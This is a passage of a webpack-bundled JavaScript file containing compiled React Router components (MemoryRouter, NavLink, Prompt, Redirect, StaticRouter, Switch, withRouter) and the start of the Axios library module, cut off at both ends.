var MemoryRouter = function (_React$Component) {
_inherits(MemoryRouter, _React$Component);
function MemoryRouter() {
var _temp, _this, _ret;
_classCallCheck(this, MemoryRouter);
for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
args[_key] = arguments[_key];
}
return _ret = (_temp = (_this = _possibleConstructorReturn(this, _React$Component.call.apply(_React$Component, [this].concat(args))), _this), _this.history = Object(__WEBPACK_IMPORTED_MODULE_3_history__["d" /* createMemoryHistory */])(_this.props), _temp), _possibleConstructorReturn(_this, _ret);
}
MemoryRouter.prototype.componentWillMount = function componentWillMount() {
__WEBPACK_IMPORTED_MODULE_0_warning___default()(!this.props.history, "<MemoryRouter> ignores the history prop. To use a custom history, " + "use `import { Router }` instead of `import { MemoryRouter as Router }`.");
};
MemoryRouter.prototype.render = function render() {
return __WEBPACK_IMPORTED_MODULE_1_react___default.a.createElement(__WEBPACK_IMPORTED_MODULE_4__Router__["a" /* default */], { history: this.history, children: this.props.children });
};
return MemoryRouter;
}(__WEBPACK_IMPORTED_MODULE_1_react___default.a.Component);
MemoryRouter.propTypes = {
initialEntries: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.array,
initialIndex: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.number,
getUserConfirmation: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.func,
keyLength: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.number,
children: __WEBPACK_IMPORTED_MODULE_2_prop_types___default.a.node
};
/* harmony default export */ __webpack_exports__["a"] = (MemoryRouter);
/***/ }),
/* 148 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react__ = __webpack_require__(0);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_react__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_prop_types__ = __webpack_require__(9);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_prop_types___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_prop_types__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__Route__ = __webpack_require__(76);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__Link__ = __webpack_require__(75);
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
function _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; }
/**
* A <Link> wrapper that knows if it's "active" or not.
*/
var NavLink = function NavLink(_ref) {
var to = _ref.to,
exact = _ref.exact,
strict = _ref.strict,
location = _ref.location,
activeClassName = _ref.activeClassName,
className = _ref.className,
activeStyle = _ref.activeStyle,
style = _ref.style,
getIsActive = _ref.isActive,
ariaCurrent = _ref["aria-current"],
rest = _objectWithoutProperties(_ref, ["to", "exact", "strict", "location", "activeClassName", "className", "activeStyle", "style", "isActive", "aria-current"]);
var path = (typeof to === "undefined" ? "undefined" : _typeof(to)) === "object" ? to.pathname : to;
// Regex taken from: https://github.com/pillarjs/path-to-regexp/blob/master/index.js#L202
var escapedPath = path && path.replace(/([.+*?=^!:${}()[\]|/\\])/g, "\\$1");
return __WEBPACK_IMPORTED_MODULE_0_react___default.a.createElement(__WEBPACK_IMPORTED_MODULE_2__Route__["a" /* default */], {
path: escapedPath,
exact: exact,
strict: strict,
location: location,
children: function children(_ref2) {
var location = _ref2.location,
match = _ref2.match;
var isActive = !!(getIsActive ? getIsActive(match, location) : match);
return __WEBPACK_IMPORTED_MODULE_0_react___default.a.createElement(__WEBPACK_IMPORTED_MODULE_3__Link__["a" /* default */], _extends({
to: to,
className: isActive ? [className, activeClassName].filter(function (i) {
return i;
}).join(" ") : className,
style: isActive ? _extends({}, style, activeStyle) : style,
"aria-current": isActive && ariaCurrent || null
}, rest));
}
});
};
NavLink.propTypes = {
to: __WEBPACK_IMPORTED_MODULE_3__Link__["a" /* default */].propTypes.to,
exact: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.bool,
strict: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.bool,
location: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.object,
activeClassName: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.string,
className: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.string,
activeStyle: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.object,
style: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.object,
isActive: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.func,
"aria-current": __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.oneOf(["page", "step", "location", "date", "time", "true"])
};
NavLink.defaultProps = {
activeClassName: "active",
"aria-current": "page"
};
/* harmony default export */ __webpack_exports__["a"] = (NavLink);
/***/ }),
/* 149 */
/***/ (function(module, exports) {
module.exports = Array.isArray || function (arr) {
return Object.prototype.toString.call(arr) == '[object Array]';
};
/***/ }),
/* 150 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react_router_es_Prompt__ = __webpack_require__(151);
// Written in this round about way for babel-transform-imports
/* harmony default export */ __webpack_exports__["a"] = (__WEBPACK_IMPORTED_MODULE_0_react_router_es_Prompt__["a" /* default */]);
/***/ }),
/* 151 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react__ = __webpack_require__(0);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_react__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_prop_types__ = __webpack_require__(9);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_prop_types___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_prop_types__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_invariant__ = __webpack_require__(15);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_invariant___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_2_invariant__);
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
/**
* The public API for prompting the user before navigating away
* from a screen with a component.
*/
var Prompt = function (_React$Component) {
_inherits(Prompt, _React$Component);
function Prompt() {
_classCallCheck(this, Prompt);
return _possibleConstructorReturn(this, _React$Component.apply(this, arguments));
}
Prompt.prototype.enable = function enable(message) {
if (this.unblock) this.unblock();
this.unblock = this.context.router.history.block(message);
};
Prompt.prototype.disable = function disable() {
if (this.unblock) {
this.unblock();
this.unblock = null;
}
};
Prompt.prototype.componentWillMount = function componentWillMount() {
__WEBPACK_IMPORTED_MODULE_2_invariant___default()(this.context.router, "You should not use <Prompt> outside a <Router>");
if (this.props.when) this.enable(this.props.message);
};
Prompt.prototype.componentWillReceiveProps = function componentWillReceiveProps(nextProps) {
if (nextProps.when) {
if (!this.props.when || this.props.message !== nextProps.message) this.enable(nextProps.message);
} else {
this.disable();
}
};
Prompt.prototype.componentWillUnmount = function componentWillUnmount() {
this.disable();
};
Prompt.prototype.render = function render() {
return null;
};
return Prompt;
}(__WEBPACK_IMPORTED_MODULE_0_react___default.a.Component);
Prompt.propTypes = {
when: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.bool,
message: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.oneOfType([__WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.func, __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.string]).isRequired
};
Prompt.defaultProps = {
when: true
};
Prompt.contextTypes = {
router: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.shape({
history: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.shape({
block: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.func.isRequired
}).isRequired
}).isRequired
};
/* harmony default export */ __webpack_exports__["a"] = (Prompt);
/***/ }),
/* 152 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react_router_es_Redirect__ = __webpack_require__(153);
// Written in this round about way for babel-transform-imports
/* harmony default export */ __webpack_exports__["a"] = (__WEBPACK_IMPORTED_MODULE_0_react_router_es_Redirect__["a" /* default */]);
/***/ }),
/* 153 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react__ = __webpack_require__(0);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_react__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_prop_types__ = __webpack_require__(9);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_prop_types___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_prop_types__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_warning__ = __webpack_require__(19);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_warning___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_2_warning__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3_invariant__ = __webpack_require__(15);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3_invariant___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_3_invariant__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4_history__ = __webpack_require__(24);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_5__generatePath__ = __webpack_require__(79);
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
/**
* The public API for updating the location programmatically
* with a component.
*/
var Redirect = function (_React$Component) {
_inherits(Redirect, _React$Component);
function Redirect() {
_classCallCheck(this, Redirect);
return _possibleConstructorReturn(this, _React$Component.apply(this, arguments));
}
Redirect.prototype.isStatic = function isStatic() {
return this.context.router && this.context.router.staticContext;
};
Redirect.prototype.componentWillMount = function componentWillMount() {
__WEBPACK_IMPORTED_MODULE_3_invariant___default()(this.context.router, "You should not use <Redirect> outside a <Router>");
if (this.isStatic()) this.perform();
};
Redirect.prototype.componentDidMount = function componentDidMount() {
if (!this.isStatic()) this.perform();
};
Redirect.prototype.componentDidUpdate = function componentDidUpdate(prevProps) {
var prevTo = Object(__WEBPACK_IMPORTED_MODULE_4_history__["c" /* createLocation */])(prevProps.to);
var nextTo = Object(__WEBPACK_IMPORTED_MODULE_4_history__["c" /* createLocation */])(this.props.to);
if (Object(__WEBPACK_IMPORTED_MODULE_4_history__["f" /* locationsAreEqual */])(prevTo, nextTo)) {
__WEBPACK_IMPORTED_MODULE_2_warning___default()(false, "You tried to redirect to the same route you're currently on: " + ("\"" + nextTo.pathname + nextTo.search + "\""));
return;
}
this.perform();
};
Redirect.prototype.computeTo = function computeTo(_ref) {
var computedMatch = _ref.computedMatch,
to = _ref.to;
if (computedMatch) {
if (typeof to === "string") {
return Object(__WEBPACK_IMPORTED_MODULE_5__generatePath__["a" /* default */])(to, computedMatch.params);
} else {
return _extends({}, to, {
pathname: Object(__WEBPACK_IMPORTED_MODULE_5__generatePath__["a" /* default */])(to.pathname, computedMatch.params)
});
}
}
return to;
};
Redirect.prototype.perform = function perform() {
var history = this.context.router.history;
var push = this.props.push;
var to = this.computeTo(this.props);
if (push) {
history.push(to);
} else {
history.replace(to);
}
};
Redirect.prototype.render = function render() {
return null;
};
return Redirect;
}(__WEBPACK_IMPORTED_MODULE_0_react___default.a.Component);
Redirect.propTypes = {
computedMatch: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.object, // private, from <Switch>
push: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.bool,
from: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.string,
to: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.oneOfType([__WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.string, __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.object]).isRequired
};
Redirect.defaultProps = {
push: false
};
Redirect.contextTypes = {
router: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.shape({
history: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.shape({
push: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.func.isRequired,
replace: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.func.isRequired
}).isRequired,
staticContext: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.object
}).isRequired
};
/* harmony default export */ __webpack_exports__["a"] = (Redirect);
/***/ }),
/* 154 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react_router_es_StaticRouter__ = __webpack_require__(155);
// Written in this round about way for babel-transform-imports
/* harmony default export */ __webpack_exports__["a"] = (__WEBPACK_IMPORTED_MODULE_0_react_router_es_StaticRouter__["a" /* default */]);
/***/ }),
/* 155 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning__ = __webpack_require__(19);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_warning___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_warning__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_invariant__ = __webpack_require__(15);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_invariant___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_invariant__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_react__ = __webpack_require__(0);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_react___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_2_react__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3_prop_types__ = __webpack_require__(9);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3_prop_types___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_3_prop_types__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4_history__ = __webpack_require__(24);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_5__Router__ = __webpack_require__(48);
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
function _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var addLeadingSlash = function addLeadingSlash(path) {
return path.charAt(0) === "/" ? path : "/" + path;
};
var addBasename = function addBasename(basename, location) {
if (!basename) return location;
return _extends({}, location, {
pathname: addLeadingSlash(basename) + location.pathname
});
};
var stripBasename = function stripBasename(basename, location) {
if (!basename) return location;
var base = addLeadingSlash(basename);
if (location.pathname.indexOf(base) !== 0) return location;
return _extends({}, location, {
pathname: location.pathname.substr(base.length)
});
};
var createURL = function createURL(location) {
return typeof location === "string" ? location : Object(__WEBPACK_IMPORTED_MODULE_4_history__["e" /* createPath */])(location);
};
var staticHandler = function staticHandler(methodName) {
return function () {
__WEBPACK_IMPORTED_MODULE_1_invariant___default()(false, "You cannot %s with <StaticRouter>", methodName);
};
};
var noop = function noop() {};
/**
* The public top-level API for a "static" <Router>, so-called because it
* can't actually change the current location. Instead, it just records
* location changes in a context object. Useful mainly in testing and
* server-rendering scenarios.
*/
var StaticRouter = function (_React$Component) {
_inherits(StaticRouter, _React$Component);
function StaticRouter() {
var _temp, _this, _ret;
_classCallCheck(this, StaticRouter);
for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
args[_key] = arguments[_key];
}
return _ret = (_temp = (_this = _possibleConstructorReturn(this, _React$Component.call.apply(_React$Component, [this].concat(args))), _this), _this.createHref = function (path) {
return addLeadingSlash(_this.props.basename + createURL(path));
}, _this.handlePush = function (location) {
var _this$props = _this.props,
basename = _this$props.basename,
context = _this$props.context;
context.action = "PUSH";
context.location = addBasename(basename, Object(__WEBPACK_IMPORTED_MODULE_4_history__["c" /* createLocation */])(location));
context.url = createURL(context.location);
}, _this.handleReplace = function (location) {
var _this$props2 = _this.props,
basename = _this$props2.basename,
context = _this$props2.context;
context.action = "REPLACE";
context.location = addBasename(basename, Object(__WEBPACK_IMPORTED_MODULE_4_history__["c" /* createLocation */])(location));
context.url = createURL(context.location);
}, _this.handleListen = function () {
return noop;
}, _this.handleBlock = function () {
return noop;
}, _temp), _possibleConstructorReturn(_this, _ret);
}
StaticRouter.prototype.getChildContext = function getChildContext() {
return {
router: {
staticContext: this.props.context
}
};
};
StaticRouter.prototype.componentWillMount = function componentWillMount() {
__WEBPACK_IMPORTED_MODULE_0_warning___default()(!this.props.history, "<StaticRouter> ignores the history prop. To use a custom history, " + "use `import { Router }` instead of `import { StaticRouter as Router }`.");
};
StaticRouter.prototype.render = function render() {
var _props = this.props,
basename = _props.basename,
context = _props.context,
location = _props.location,
props = _objectWithoutProperties(_props, ["basename", "context", "location"]);
var history = {
createHref: this.createHref,
action: "POP",
location: stripBasename(basename, Object(__WEBPACK_IMPORTED_MODULE_4_history__["c" /* createLocation */])(location)),
push: this.handlePush,
replace: this.handleReplace,
go: staticHandler("go"),
goBack: staticHandler("goBack"),
goForward: staticHandler("goForward"),
listen: this.handleListen,
block: this.handleBlock
};
return __WEBPACK_IMPORTED_MODULE_2_react___default.a.createElement(__WEBPACK_IMPORTED_MODULE_5__Router__["a" /* default */], _extends({}, props, { history: history }));
};
return StaticRouter;
}(__WEBPACK_IMPORTED_MODULE_2_react___default.a.Component);
StaticRouter.propTypes = {
basename: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.string,
context: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.object.isRequired,
location: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.oneOfType([__WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.string, __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.object])
};
StaticRouter.defaultProps = {
basename: "",
location: "/"
};
StaticRouter.childContextTypes = {
router: __WEBPACK_IMPORTED_MODULE_3_prop_types___default.a.object.isRequired
};
/* harmony default export */ __webpack_exports__["a"] = (StaticRouter);
/***/ }),
/* 156 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react_router_es_Switch__ = __webpack_require__(157);
// Written in this round about way for babel-transform-imports
/* harmony default export */ __webpack_exports__["a"] = (__WEBPACK_IMPORTED_MODULE_0_react_router_es_Switch__["a" /* default */]);
/***/ }),
/* 157 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react__ = __webpack_require__(0);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_react__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_prop_types__ = __webpack_require__(9);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_prop_types___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_prop_types__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_warning__ = __webpack_require__(19);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_warning___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_2_warning__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3_invariant__ = __webpack_require__(15);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3_invariant___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_3_invariant__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__matchPath__ = __webpack_require__(49);
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
/**
* The public API for rendering the first <Route> that matches.
*/
var Switch = function (_React$Component) {
_inherits(Switch, _React$Component);
function Switch() {
_classCallCheck(this, Switch);
return _possibleConstructorReturn(this, _React$Component.apply(this, arguments));
}
Switch.prototype.componentWillMount = function componentWillMount() {
__WEBPACK_IMPORTED_MODULE_3_invariant___default()(this.context.router, "You should not use <Switch> outside a <Router>");
};
Switch.prototype.componentWillReceiveProps = function componentWillReceiveProps(nextProps) {
__WEBPACK_IMPORTED_MODULE_2_warning___default()(!(nextProps.location && !this.props.location), '<Switch> elements should not change from uncontrolled to controlled (or vice versa). You initially used no "location" prop and then provided one on a subsequent render.');
__WEBPACK_IMPORTED_MODULE_2_warning___default()(!(!nextProps.location && this.props.location), '<Switch> elements should not change from controlled to uncontrolled (or vice versa). You provided a "location" prop initially but omitted it on a subsequent render.');
};
Switch.prototype.render = function render() {
var route = this.context.router.route;
var children = this.props.children;
var location = this.props.location || route.location;
var match = void 0,
child = void 0;
__WEBPACK_IMPORTED_MODULE_0_react___default.a.Children.forEach(children, function (element) {
if (match == null && __WEBPACK_IMPORTED_MODULE_0_react___default.a.isValidElement(element)) {
var _element$props = element.props,
pathProp = _element$props.path,
exact = _element$props.exact,
strict = _element$props.strict,
sensitive = _element$props.sensitive,
from = _element$props.from;
var path = pathProp || from;
child = element;
match = Object(__WEBPACK_IMPORTED_MODULE_4__matchPath__["a" /* default */])(location.pathname, { path: path, exact: exact, strict: strict, sensitive: sensitive }, route.match);
}
});
return match ? __WEBPACK_IMPORTED_MODULE_0_react___default.a.cloneElement(child, { location: location, computedMatch: match }) : null;
};
return Switch;
}(__WEBPACK_IMPORTED_MODULE_0_react___default.a.Component);
Switch.contextTypes = {
router: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.shape({
route: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.object.isRequired
}).isRequired
};
Switch.propTypes = {
children: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.node,
location: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.object
};
/* harmony default export */ __webpack_exports__["a"] = (Switch);
/***/ }),
/* 158 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react_router_es_generatePath__ = __webpack_require__(79);
// Written in this round about way for babel-transform-imports
/* harmony default export */ __webpack_exports__["a"] = (__WEBPACK_IMPORTED_MODULE_0_react_router_es_generatePath__["a" /* default */]);
/***/ }),
/* 159 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react_router_es_matchPath__ = __webpack_require__(49);
// Written in this round about way for babel-transform-imports
/* harmony default export */ __webpack_exports__["a"] = (__WEBPACK_IMPORTED_MODULE_0_react_router_es_matchPath__["a" /* default */]);
/***/ }),
/* 160 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react_router_es_withRouter__ = __webpack_require__(161);
// Written in this round about way for babel-transform-imports
/* harmony default export */ __webpack_exports__["a"] = (__WEBPACK_IMPORTED_MODULE_0_react_router_es_withRouter__["a" /* default */]);
/***/ }),
/* 161 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react__ = __webpack_require__(0);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_0_react___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_react__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_prop_types__ = __webpack_require__(9);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_prop_types___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_prop_types__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_hoist_non_react_statics__ = __webpack_require__(70);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_hoist_non_react_statics___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_2_hoist_non_react_statics__);
/* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__Route__ = __webpack_require__(77);
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
function _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; }
/**
* A public higher-order component to access the imperative API
*/
var withRouter = function withRouter(Component) {
var C = function C(props) {
var wrappedComponentRef = props.wrappedComponentRef,
remainingProps = _objectWithoutProperties(props, ["wrappedComponentRef"]);
return __WEBPACK_IMPORTED_MODULE_0_react___default.a.createElement(__WEBPACK_IMPORTED_MODULE_3__Route__["a" /* default */], {
children: function children(routeComponentProps) {
return __WEBPACK_IMPORTED_MODULE_0_react___default.a.createElement(Component, _extends({}, remainingProps, routeComponentProps, {
ref: wrappedComponentRef
}));
}
});
};
C.displayName = "withRouter(" + (Component.displayName || Component.name) + ")";
C.WrappedComponent = Component;
C.propTypes = {
wrappedComponentRef: __WEBPACK_IMPORTED_MODULE_1_prop_types___default.a.func
};
return __WEBPACK_IMPORTED_MODULE_2_hoist_non_react_statics___default()(C, Component);
};
/* harmony default export */ __webpack_exports__["a"] = (withRouter);
/***/ }),
/* 162 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
var utils = __webpack_require__(14);
var bind = __webpack_require__(80);
var Axios = __webpack_require__(164);
var defaults = __webpack_require__(50);
/**
* Create an instance of Axios
*
* @param {Object} defaultConfig The default config for the instance
* @return {Axios} A new instance of Axios
*/
function createInstance(defaultConfig) {
var context = new Axios(defaultConfig);
var instance = bind(Axios.prototype.request, context);
// Copy axios.prototype to instance
utils.extend(instance, Axios.prototype, context);
// Copy context to instance
utils.extend(instance, context);
return instance;
}
// Create the default instance to be exported
var axios = createInstance(defaults);
// Expose Axios class to allow class inheritance
axios.Axios = Axios;
// Factory for creating new instances
axios.create = function create(instanceConfig) {
return createInstance(utils.merge(defaults, instanceConfig));
};
// Expose Cancel & CancelToken
axios.Cancel = __webpack_require__(84);
axios.CancelToken = __webpack_require__(178);
axios.isCancel = __webpack_require__(83);
// Expose all/spread
axios.all = function all(promises) {
return Promise.all(promises);
};
axios.spread = __webpack_require__(179);
module.exports = axios;
// Allow use of default import syntax in TypeScript
module.exports.default = axios;
/***/ }),
/* 163 */
/***/ (function(module, exports) {
/*!
* Determine if an object is a Buffer
*
* @author Feross Aboukhadijeh <https://feross.org>
* @license MIT
*/
// The _isBuffer check is for Safari 5-7 support, because it's missing
// Object.prototype.constructor. Remove this eventually
